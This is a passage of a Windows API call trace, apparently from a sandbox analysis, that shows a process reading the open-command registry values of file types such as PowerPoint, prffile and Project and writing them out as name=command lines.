lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"", lpcbData=0x2eef20*=0x92) returned 0x0 [0101.465] RegCloseKey (hKey=0x64) returned 0x0 [0101.465] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 96 [0101.465] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.465] GetFileType (hFile=0x5c) returned 0x3 [0101.465] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.465] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 97 [0101.465] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x60, lpOverlapped=0x0) returned 1 [0101.465] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb90, lpName=0x2eef50, cchName=0x104 | out: lpName="PowerPoint.Wizard.8") returned 0x0 [0101.465] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PowerPoint.Wizard.8\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.465] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.466] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x9a | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x9a) returned 0x0 [0101.466] RegCloseKey (hKey=0x64) returned 0x0 [0101.466] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="PowerPoint.Wizard.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n") returned 98 [0101.466] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.466] GetFileType (hFile=0x5c) returned 0x3 [0101.466] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.466] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Wizard.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Wizard.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 99 [0101.466] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x62, lpOverlapped=0x0) returned 1 [0101.466] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb91, lpName=0x2eef50, cchName=0x104 | out: lpName="powerpointhtmlfile") returned 0x0 [0101.466] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="powerpointhtmlfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.466] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x7e) returned 0x0 [0101.466] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x7e | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"", lpcbData=0x2eef20*=0x7e) returned 0x0 [0101.466] RegCloseKey (hKey=0x64) returned 0x0 [0101.467] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="powerpointhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n") returned 83 [0101.467] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.467] GetFileType (hFile=0x5c) returned 0x3 [0101.467] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.467] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="powerpointhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powerpointhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0101.467] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0101.467] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb92, lpName=0x2eef50, cchName=0x104 | out: lpName="powerpointhtmltemplate") returned 0x0 [0101.467] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="powerpointhtmltemplate\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.467] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x7e) returned 0x0 [0101.467] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x7e | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"", lpcbData=0x2eef20*=0x7e) returned 0x0 [0101.467] RegCloseKey (hKey=0x64) returned 0x0 [0101.467] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="powerpointhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n") returned 87 [0101.467] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.467] GetFileType (hFile=0x5c) returned 0x3 [0101.468] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.468] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="powerpointhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powerpointhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0101.468] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0101.468] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb93, lpName=0x2eef50, cchName=0x104 | out: lpName="powerpointmhtmlfile") returned 0x0 [0101.468] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="powerpointmhtmlfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.468] SetLastError (dwErrCode=0x2) [0101.468] RegCloseKey (hKey=0x0) returned 0x6 [0101.468] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb94, lpName=0x2eef50, cchName=0x104 | out: lpName="powerpointxmlfile") returned 0x0 [0101.468] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="powerpointxmlfile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.494] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x7e) returned 0x0 [0101.494] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x7e | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"", lpcbData=0x2eef20*=0x7e) returned 0x0 [0101.494] RegCloseKey (hKey=0x64) returned 0x0 [0101.494] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="powerpointxmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n") returned 82 [0101.494] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.494] GetFileType (hFile=0x5c) returned 0x3 [0101.494] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="powerpointxmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powerpointxmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 83 [0101.494] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0101.494] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb95, lpName=0x2eef50, cchName=0x104 | out: lpName="PPSLAX.SlideLibrary") returned 0x0 [0101.495] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PPSLAX.SlideLibrary\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.495] SetLastError (dwErrCode=0x2) [0101.495] RegCloseKey (hKey=0x0) returned 0x6 [0101.495] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb96, lpName=0x2eef50, cchName=0x104 | out: lpName="Presenter.MCVideoPresenter") returned 0x0 [0101.495] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Presenter.MCVideoPresenter\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.495] SetLastError (dwErrCode=0x2) [0101.495] RegCloseKey (hKey=0x0) returned 0x6 [0101.495] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb97, lpName=0x2eef50, cchName=0x104 | out: lpName="Presenter.MCVideoPresenter.1") returned 0x0 [0101.495] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Presenter.MCVideoPresenter.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.495] SetLastError (dwErrCode=0x2) [0101.495] RegCloseKey (hKey=0x0) returned 0x6 [0101.495] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb98, lpName=0x2eef50, cchName=0x104 | out: lpName="Previous.Versions") returned 0x0 [0101.495] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Previous.Versions\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.495] SetLastError (dwErrCode=0x2) [0101.495] RegCloseKey (hKey=0x0) returned 0x6 [0101.495] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb99, lpName=0x2eef50, cchName=0x104 | out: lpName="prffile") returned 0x0 [0101.495] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="prffile\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.495] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x2, lpData=0x0, lpcbData=0x2eef20*=0xb4) returned 0x0 [0101.495] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0xb4 | out: lpType=0x2eef28*=0x2, lpData="\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnPRF %1", lpcbData=0x2eef20*=0xb4) returned 0x0 [0101.496] RegCloseKey (hKey=0x64) returned 0x0 [0101.496] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="prffile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnPRF %1\r\n") returned 99 [0101.496] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.496] GetFileType (hFile=0x5c) returned 0x3 [0101.496] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="prffile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnPRF %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prffile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnPRF %1\r\n", lpUsedDefaultChar=0x0) returned 100 [0101.496] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x63, lpOverlapped=0x0) returned 1 [0101.496] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9a, lpName=0x2eef50, cchName=0x104 | out: lpName="Printers") returned 0x0 [0101.496] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Printers\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.496] SetLastError (dwErrCode=0x2) [0101.496] RegCloseKey (hKey=0x0) returned 0x6 [0101.496] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9b, lpName=0x2eef50, cchName=0x104 | out: lpName="PrintSys.CoFilterPipeline") returned 0x0 [0101.496] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PrintSys.CoFilterPipeline\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.496] SetLastError (dwErrCode=0x2) [0101.496] RegCloseKey (hKey=0x0) returned 0x6 [0101.496] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9c, lpName=0x2eef50, cchName=0x104 | out: lpName="PrintSys.CoFilterPipeline.1") returned 0x0 [0101.496] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PrintSys.CoFilterPipeline.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.497] SetLastError (dwErrCode=0x2) [0101.497] RegCloseKey (hKey=0x0) returned 0x6 [0101.497] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9d, lpName=0x2eef50, cchName=0x104 | out: lpName="PrintSys.CoPrintIsolationHost") returned 0x0 [0101.497] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PrintSys.CoPrintIsolationHost\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.497] SetLastError (dwErrCode=0x2) [0101.497] RegCloseKey (hKey=0x0) returned 0x6 [0101.497] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9e, lpName=0x2eef50, cchName=0x104 | out: lpName="PrintSys.CoPrintIsolationHost.1") returned 0x0 [0101.497] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PrintSys.CoPrintIsolationHost.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.497] SetLastError (dwErrCode=0x2) [0101.497] RegCloseKey (hKey=0x0) returned 0x6 [0101.497] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9f, lpName=0x2eef50, cchName=0x104 | out: lpName="Project") returned 0x0 [0101.497] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="Project\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0101.497] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x92) returned 0x0 [0101.497] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x92 | out: lpType=0x2eef28*=0x1, lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"", lpcbData=0x2eef20*=0x92) returned 0x0 [0101.497] RegCloseKey (hKey=0x64) returned 0x0 [0101.497] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 82 [0101.497] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.497] GetFileType (hFile=0x5c) returned 0x3 [0101.497] _get_osfhandle (_FileHandle=1) returned 0x5c [0101.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83 [0101.497] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0101.498] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba0, lpName=0x2eef50, cchName=0x104 | out: lpName="ProjectHeader.ProjectHeader") returned 0x0 [0101.498] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ProjectHeader.ProjectHeader\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.498] SetLastError (dwErrCode=0x2) [0101.498] RegCloseKey (hKey=0x0) returned 0x6 [0101.498] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba1, lpName=0x2eef50, cchName=0x104 | out: lpName="ProjectModel.Link") returned 0x0 [0101.498] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ProjectModel.Link\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.498] SetLastError (dwErrCode=0x2) [0101.498] RegCloseKey (hKey=0x0) returned 0x6 [0101.498] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba2, lpName=0x2eef50, cchName=0x104 | out: lpName="ProjectModel.PMDocument") returned 0x0 [0101.498] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ProjectModel.PMDocument\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.498] SetLastError (dwErrCode=0x2) [0101.498] RegCloseKey (hKey=0x0) returned 0x6 [0101.498] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba3, lpName=0x2eef50, cchName=0x104 | out: lpName="ProjectModel.PMEvents") returned 0x0 [0101.498] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ProjectModel.PMEvents\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.498] SetLastError (dwErrCode=0x2) [0101.498] RegCloseKey (hKey=0x0) returned 0x6 [0101.498] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba4, lpName=0x2eef50, cchName=0x104 | out: lpName="ProjectModel.PMObject") returned 0x0 [0101.498] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ProjectModel.PMObject\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.499] SetLastError (dwErrCode=0x2) [0101.499] RegCloseKey (hKey=0x0) returned 0x6 [0101.499] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba5, lpName=0x2eef50, cchName=0x104 | out: lpName="ProjectModel.Project") returned 0x0 [0101.499] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ProjectModel.Project\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.499] SetLastError (dwErrCode=0x2) [0101.499] RegCloseKey (hKey=0x0) returned 0x6 [0101.499] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba6, lpName=0x2eef50, cchName=0x104 | out: lpName="ProjectModel.RelEnum") returned 0x0 [0101.499] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ProjectModel.RelEnum\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.499] SetLastError (dwErrCode=0x2) [0101.499] RegCloseKey (hKey=0x0) returned 0x6 [0101.499] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba7, lpName=0x2eef50, cchName=0x104 | out: lpName="ProjectModel.Task") returned 0x0 [0101.499] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="ProjectModel.Task\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.499] SetLastError (dwErrCode=0x2) [0101.499] RegCloseKey (hKey=0x0) returned 0x6 [0101.499] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba8, lpName=0x2eef50, cchName=0x104 | out: lpName="PropertyEntry") returned 0x0 [0101.499] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropertyEntry\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.499] SetLastError (dwErrCode=0x2) [0101.499] RegCloseKey (hKey=0x0) returned 0x6 [0101.499] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba9, lpName=0x2eef50, cchName=0x104 | out: lpName="PropertyKeyCollection.PropertyKeyCollection") returned 0x0 [0101.499] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropertyKeyCollection.PropertyKeyCollection\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.499] SetLastError (dwErrCode=0x2) [0101.499] RegCloseKey (hKey=0x0) returned 0x6 [0101.499] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbaa, lpName=0x2eef50, cchName=0x104 | out: lpName="PropertyKeyCollection.PropertyKeyCollection.1") returned 0x0 [0101.499] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropertyKeyCollection.PropertyKeyCollection.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.499] SetLastError (dwErrCode=0x2) [0101.499] RegCloseKey (hKey=0x0) returned 0x6 [0101.500] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbab, lpName=0x2eef50, cchName=0x104 | out: lpName="PropertyValue") returned 0x0 [0101.500] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropertyValue\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.500] SetLastError (dwErrCode=0x2) [0101.500] RegCloseKey (hKey=0x0) returned 0x6 [0101.500] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbac, lpName=0x2eef50, cchName=0x104 | out: lpName="PropRpt.VisExcelRptDriver") returned 0x0 [0101.500] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropRpt.VisExcelRptDriver\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.500] SetLastError (dwErrCode=0x2) [0101.500] RegCloseKey (hKey=0x0) returned 0x6 [0101.500] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbad, lpName=0x2eef50, cchName=0x104 | out: lpName="PropRpt.VisListRptDriver") returned 0x0 [0101.500] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropRpt.VisListRptDriver\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.500] SetLastError (dwErrCode=0x2) [0101.500] RegCloseKey (hKey=0x0) returned 0x6 [0101.500] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbae, lpName=0x2eef50, cchName=0x104 | out: lpName="PropRpt.VisReportDef") returned 0x0 [0101.500] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropRpt.VisReportDef\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.500] SetLastError (dwErrCode=0x2) [0101.500] RegCloseKey (hKey=0x0) returned 0x6 [0101.500] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbaf, lpName=0x2eef50, cchName=0x104 | out: lpName="PropRpt.VisReportManager") returned 0x0 [0101.500] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropRpt.VisReportManager\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0101.500] SetLastError (dwErrCode=0x2) [0101.500] RegCloseKey (hKey=0x0) returned 0x6 [0101.501] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb0, lpName=0x2eef50, cchName=0x104 | out: lpName="PropRpt.VisVisioRptDriver") returned 0x0 [0101.501] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="PropRpt.VisVisioRptDriver\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 